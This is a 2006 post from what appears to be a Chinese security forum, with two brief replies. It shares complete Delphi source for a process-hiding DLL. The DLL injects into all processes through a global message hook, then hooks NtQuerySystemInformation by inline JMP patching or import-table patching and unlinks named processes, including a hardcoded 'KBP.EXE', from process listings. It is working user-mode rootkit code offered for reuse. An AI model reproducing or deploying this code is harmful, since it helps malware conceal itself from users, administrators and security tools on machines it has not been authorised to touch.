首页
社区
课程
招聘
[分享]Hide process only for NT(HOOK方式)
发表于: 2006-9-12 08:33 8163

[分享]Hide process only for NT(HOOK方式)

vxin 活跃值
10
2006-9-12 08:33
8163
之前收藏好友(发发)的作品,现拿出来和大家共享:

隐藏进程 for delphi
==========================================
HookDllMain.pas
interface

uses
  Windows , Messages , TlHelp32 , Sysutils ,
  NTHookUnit;

const
   MappingFileName = 'M_File_HKHP_1.0'
   FileNameLength  = 100;
   Trap            = True; {True陷阱式,False改引入表式}
   
type
  TShareMem = packed record
    FileCount : integer;
    FileNames : array [0..2000] of char;
  end;
  PShareMem = ^TShareMem;
  TPDWord = ^DWORD;

  UNICODE_STRING = Record
    Length  : SHORT;
    MaxLen  : SHORT ;
    Name    : Pointer;
  end;
  TProcessInfo=Record
    NextEntryDelta : ULONG;
    ThreadCount    : ULONG;
    Reserved1      : array [1..6] of ULONG;
    CreateTime     : LARGE_INTEGER;
    UserTime       : LARGE_INTEGER;
    KernelTime     : LARGE_INTEGER;
    ProcessName    : UNICODE_STRING;
    BasePriority   : ULONG;
    ProcessId      : ULONG;
  end;
  PProcessInfo = ^TProcessInfo;


Function NtQuerySystemInformation(infoClass: DWORD;
                                  buffer: Pointer;
                                  bufSize: DWORD;
                                  returnSize: TPDWord): DWORD; stdcall;

procedure HideProcess(FileName : Pchar); stdcall;

procedure StopHook; stdcall;


implementation

var
  pShMem : PShareMem;
  hMappingFile : THandle;
  Hook : THookClass;
  MessageHook : Thandle;

Function NtQuerySystemInformation ; external 'NTDLL.DLL' name 'NtQuerySystemInformation'

Function CheckFileIsHideFile(var lppe : TProcessEntry32) : Boolean;stdcall;
begin
  Result := Uppercase(Lppe.szExeFile)='KBP.EXE'
end;

Function HideProcessStru(HideFile : PChar ; Buf : Pointer) : integer;stdcall;
var
  P , LastP : PProcessInfo;
  PW : PWideChar;
  FileName : String;
begin
  Result := NO_ERROR;
  FileName := Uppercase(HideFile);
  P := Buf;
  LastP := NIL;
  while P.NextEntryDelta<>0 do begin
    PW := P.ProcessName.Name;
    if Uppercase(String(PW))=FileName then begin
      if LastP<>NIL then
        LastP.NextEntryDelta := LastP.NextEntryDelta + P.NextEntryDelta;
    end;
    LastP := P;
    P := Ptr(DWORD(P) + P.NextEntryDelta);
  end;
end;
  

Function NewNtQuerySystemInformation(infoClass: DWORD;
                                      buffer: Pointer;
                                      bufSize: DWORD;
                                      returnSize: TPDWord): DWORD; stdcall;
type
  TNtQuerySystemInformation = Function(infoClass: DWORD;
                                  buffer: Pointer;
                                  bufSize: DWORD;
                                  returnSize: TPDWord): DWORD; stdcall;
begin
  Hook.Restore; {改引入表式可以不使用此语句}
  Result := TNtQuerySystemInformation(Hook.OldFunction)(infoClass,
                                                        buffer,
                                                        bufSize,
                                                        returnSize);
  if infoClass=5 then begin
    HideProcessStru(pShMem^.FileNames,Buffer);
  end;
  Hook.Change; {改引入表式可以不使用此语句}
end;

function GetMsgProc(code: integer; wPar: integer; lPar: integer): Integer; stdcall;
begin
  Result := CallNextHookEx(MessageHook, Code, wPar, lPar);
end;

procedure HideProcess(FileName : Pchar); stdcall;
begin
  if MessageHook=0 then begin
    MessageHook := SetWindowsHookEx(WH_GetMessage, GetMsgProc, HInstance, 0);
  end;
  StrlCopy(pShMem^.FileNames + pShMem^.FileCount * FileNameLength ,
           FileName ,
           FileNameLength);
  Inc(pShMem^.FileCount);
end;

procedure StopHook; stdcall;
begin
   if MessageHook<>0 then begin
     UnhookWindowsHookEx(MessageHook);
     MessageHook := 0;
     SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
   end;
end;

initialization
  hMappingFile := OpenFileMapping(FILE_MAP_WRITE,False,MappingFileName);
  if hMappingFile=0 then
    hMappingFile  := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShareMem),MappingFileName);
  if hMappingFile = 0 then Exception.Create('不能建立共享内存!');
  pShMem :=  MapViewOfFile(hMappingFile,FILE_MAP_WRITE or FILE_MAP_READ,0,0,0);
  pShMem.FileCount := 0;
  if pShMem = nil then begin
    CloseHandle(hMappingFile);
    Exception.Create('不能映射共享内存!');
  end;
  MessageHook := 0;
  Hook := THookClass.Create(Trap,@NtQuerySystemInformation,@NewNtQuerySystemInformation);{Trap=False改引入表式}
finalization
  Hook.Destroy;
  UnMapViewOfFile(pShMem);
  CloseHandle(hMappingFile);
  StopHook;
end.


NTHookUnit.pas
unit NTHookUnit;

interface

uses
  Classes, Windows, SysUtils, Messages;

type
  TImportCode = packed record
     JumpInstruction: Word;
     AddressOfPointerToFunction: PPointer;
  end;
  PImage_Import_Entry = ^Image_Import_Entry;
  Image_Import_Entry = record
    Characteristics: DWORD;
    TimeDateStamp: DWORD;
    MajorVersion: Word;
    MinorVersion: Word;
    Name: DWORD;
    LookupTable: DWORD;
  end;
  PImportCode = ^TImportCode;
  TLongJmp = packed record
     JmpCode: ShortInt; {指令,用$E9来代替系统的指令}
     FuncAddr: DWORD; {函数地址}
  end;

  THookClass = class
  private
     Trap:boolean; {调用方式:True陷阱式,False改引入表式}
     hProcess: Cardinal; {进程句柄,只用于陷阱式}
     AlreadyHook:boolean; {是否已安装Hook,只用于陷阱式}
     AllowChange:boolean; {是否允许安装、卸载Hook,只用于改引入表式}
     Oldcode: array[0..4]of byte; {系统函数原来的前5个字节}
     Newcode: TLongJmp; {将要写在系统函数的前5个字节}
  private
  public
     OldFunction,NewFunction:Pointer;{被截函数、自定义函数}
     constructor Create(IsTrap:boolean;OldFun,NewFun:pointer);
     constructor Destroy;
     procedure Restore;
     procedure Change;
  published
  end;

implementation

{取函数的实际地址。如果函数的第一个指令是Jmp,则取出它的跳转地址(实际地址),这往往是由于程序中含有Debug调试信息引起的}
function FinalFunctionAddress(Code: Pointer): Pointer;
Var
  func: PImportCode;
begin
  Result:=Code;
  if Code=nil then exit;
  try
    func:=code;
    if (func.JumpInstruction=$25FF) then
      {指令二进制码FF 25  汇编指令jmp [...]}
      Func:=func.AddressOfPointerToFunction^;
    result:=Func;
  except
    Result:=nil;
  end;
end;

{更改引入表中指定函数的地址,只用于改引入表式}
function PatchAddressInModule(BeenDone:Tlist;hModule: THandle; OldFunc,NewFunc: Pointer):integer;
const
   SIZE=4;
Var
   Dos: PImageDosHeader;
   NT: PImageNTHeaders;
   ImportDesc: PImage_Import_Entry;
   rva: DWORD;
   Func: PPointer;
   DLL: String;
   f: Pointer;
   written: DWORD;
   mbi_thunk:TMemoryBasicInformation;
   dwOldProtect:DWORD;
begin
  Result:=0;
  if hModule=0 then exit;
  Dos:=Pointer(hModule);
  {如果这个DLL模块已经处理过,则退出。BeenDone包含已处理的DLL模块}
  if BeenDone.IndexOf(Dos)>=0 then exit;
  BeenDone.Add(Dos);{把DLL模块名加入BeenDone}
  OldFunc:=FinalFunctionAddress(OldFunc);{取函数的实际地址}

  {如果这个DLL模块的地址不能访问,则退出}
  if IsBadReadPtr(Dos,SizeOf(TImageDosHeader)) then exit;
  {如果这个模块不是以'MZ'开头,表明不是DLL,则退出}
  if Dos.e_magic<>IMAGE_DOS_SIGNATURE then exit;{IMAGE_DOS_SIGNATURE='MZ'}

  {定位至NT Header}
  NT :=Pointer(Integer(Dos) + dos._lfanew);
  {定位至引入函数表}
  RVA:=NT^.OptionalHeader.
     DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  if RVA=0 then exit;{如果引入函数表为空,则退出}
  {把函数引入表的相对地址RVA转换为绝对地址}
  ImportDesc := pointer(DWORD(Dos)+RVA);{Dos是此DLL模块的首地址}

  {遍历所有被引入的下级DLL模块}
  While (ImportDesc^.Name<>0) do
  begin
    {被引入的下级DLL模块名字}
    DLL:=PChar(DWORD(Dos)+ImportDesc^.Name);
    {把被导入的下级DLL模块当做当前模块,进行递归调用}
    PatchAddressInModule(BeenDone,GetModuleHandle(PChar(DLL)),OldFunc,NewFunc);

    {定位至被引入的下级DLL模块的函数表}
    Func:=Pointer(DWORD(DOS)+ImportDesc.LookupTable);
    {遍历被引入的下级DLL模块的所有函数}
    While Func^<>nil do
    begin
      f:=FinalFunctionAddress(Func^);{取实际地址}
      if f=OldFunc then {如果函数实际地址就是所要找的地址}
      begin
         VirtualQuery(Func,mbi_thunk, sizeof(TMemoryBasicInformation));
         VirtualProtect(Func,SIZE,PAGE_EXECUTE_WRITECOPY,mbi_thunk.Protect);{更改内存属性}
         WriteProcessMemory(GetCurrentProcess,Func,@NewFunc,SIZE,written);{把新函数地址覆盖它}
         VirtualProtect(Func, SIZE, mbi_thunk.Protect,dwOldProtect);{恢复内存属性}
      end;
      If Written=4 then Inc(Result);
//      else showmessagefmt('error:%d',[Written]);
      Inc(Func);{下一个功能函数}
    end;
    Inc(ImportDesc);{下一个被引入的下级DLL模块}
  end;
end;

{HOOK的入口,其中IsTrap表示是否采用陷阱式}
constructor THookClass.Create(IsTrap : boolean; OldFun,NewFun : pointer);
begin
   {求被截函数、自定义函数的实际地址}
   OldFunction:=FinalFunctionAddress(OldFun);
   NewFunction:=FinalFunctionAddress(NewFun);

   Trap:=IsTrap;
   if Trap then{如果是陷阱式}
   begin
      {以特权的方式来打开当前进程}
      hProcess := OpenProcess(PROCESS_ALL_ACCESS,FALSE, GetCurrentProcessID());
      {生成jmp xxxx的代码,共5字节}
      Newcode.JmpCode := ShortInt($E9); {jmp指令的十六进制代码是E9}
      NewCode.FuncAddr := DWORD(NewFunction) - DWORD(OldFunction) - 5;
      {保存被截函数的前5个字节}
      Move(OldFunction^,OldCode,5);
      {设置为还没有开始HOOK}
      AlreadyHook := False;
   end;
   {如果是改引入表式,将允许HOOK}
   if not Trap then AllowChange:=true;
   Change; {开始HOOK}
   {如果是改引入表式,将暂时不允许HOOK}
   if not Trap then AllowChange:=false;
end;

{HOOK的出口}
constructor THookClass.Destroy;
begin
  {如果是改引入表式,将允许HOOK}
  if not Trap then AllowChange:=true;
  Restore; {停止HOOK}
  if Trap then{如果是陷阱式}
    CloseHandle(hProcess);
end;

{开始HOOK}
procedure THookClass.Change;
var
   nCount: DWORD;
   BeenDone: TList;
begin
  if Trap then{如果是陷阱式}
    begin
      if (AlreadyHook)or (hProcess = 0) or (OldFunction = nil) or (NewFunction = nil) then
          exit;
      AlreadyHook:=true;{表示已经HOOK}
      WriteProcessMemory(hProcess, OldFunction, @(Newcode), 5, nCount);
    end
  else begin{如果是改引入表式}
    if (not AllowChange)or(OldFunction=nil)or(NewFunction=nil)then exit;
    BeenDone:=TList.Create; {用于存放当前进程所有DLL模块的名字}
    try
     PatchAddressInModule(BeenDone,GetModuleHandle(nil),OldFunction,NewFunction);
    finally
     BeenDone.Free;
    end;
  end;
end;

{恢复系统函数的调用}
procedure THookClass.Restore;
var
   nCount: DWORD;
   BeenDone: TList;
begin
  if Trap then{如果是陷阱式}
    begin
      if (not AlreadyHook) or (hProcess = 0) or (OldFunction = nil) or (NewFunction = nil) then
          exit;
      WriteProcessMemory(hProcess, OldFunction, @(Oldcode), 5, nCount);
      AlreadyHook := False;{表示退出HOOK}
    end
  else begin{如果是改引入表式}
    if (not AllowChange)or(OldFunction=nil)or(NewFunction=nil)then exit;
    BeenDone := TList.Create;{用于存放当前进程所有DLL模块的名字}
    try
      PatchAddressInModule(BeenDone,GetModuleHandle(nil),NewFunction,OldFunction);
    finally
      BeenDone.Free;
    end;
  end;
end;

end.


HideProcessDLL.dpr
library HideProcessDLL;

uses
  SysUtils,
  HookDllMain in 'HookDllMain.pas'

{$R *.res}
exports
  HideProcess, StopHook;

begin
end.


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (2)
雪    币: 217
活跃值: (91)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
正学习,支持一个
2006-9-12 13:09
0
雪    币: 236
活跃值: (35)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
要有个VC 的 就好了
2006-9-12 13:54
0
游客
登录 | 注册 方可回帖
返回
//